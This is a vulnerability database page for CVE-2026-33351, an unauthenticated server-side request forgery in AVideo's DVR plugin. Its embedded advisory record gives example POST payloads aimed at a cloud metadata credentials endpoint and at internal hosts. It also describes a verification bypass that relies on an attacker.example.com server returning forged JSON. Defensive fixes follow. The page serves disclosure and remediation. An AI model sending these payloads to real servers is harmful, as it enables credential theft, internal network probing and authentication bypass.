CVE-2026-33351: Wwbn/avideo AVideo Has Unauthenticated SSRF Vulnerability
CRITICALCVE-2026-33351 is a CRITICAL (CVSS 9.1) avideo has unauthenticated ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has unauthenticated ssrf via `websiterooturl` parameter in savedvr.json.php, chaining to verification bypass. Remediation is available in the latest vendor maintenance releases.
CVE-2026-33351 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-33351
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33351, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33351 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-33351?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-33351?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-33351?
What CWE is associated with CVE-2026-33351?
How can I check Packagist dependencies for CVE-2026-33351?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5f7v-4f6g-74rj",
"modified" : "2026-03-25T18:49:00Z",
"published" : "2026-03-19T19:13:26Z",
"aliases" : [ "CVE-2026-33351" ],
"summary" : "AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass",
"details" : "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = '../../../videos/configuration.php';\nif (file_exists($configFile)) {\n include_once $configFile;\n $streamerURL = $global['webSiteRootURL'];\n}\n\nif (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {\n $streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}\";\n$result = file_get_contents($verifyURL); // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST['webSiteRootURL']` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` — differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` — reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n ```\n /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n ```\n That returns:\n ```json\n {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n ```\n\n2. The attacker sends:\n ```\n POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n webSiteRootURL=https://attacker.example.com/&saveDVR=anything\n ```\n\n3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` — used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` — used **without** `escapeshellarg()` in:\n - Line 119: `exec(\"echo \\\"{$endLine}\\\" >> {$DVRFileTarget}\");`\n - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n ```php\n // Remove this block:\n // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {\n // $streamerURL = $_REQUEST['webSiteRootURL'];\n // }\n\n // If $streamerURL is still empty, abort:\n if (empty($streamerURL)) {\n error_log(\"saveDVR: streamerURL is not configured\");\n die('saveDVR: Server not configured');\n }\n ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n ```php\n if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {\n $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL);\n if ($url && preg_match('/^https?:\\/\\//i', $url)) {\n // Resolve hostname and block private/reserved IPs\n $host = parse_url($url, PHP_URL_HOST);\n $ip = gethostbyname($host);\n if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n die('saveDVR: Invalid URL');\n }\n $streamerURL = $url;\n }\n }\n ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33351"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-19T19:13:26Z",
"nvd_published_at" : "2026-03-23T14:16:33Z"
}
}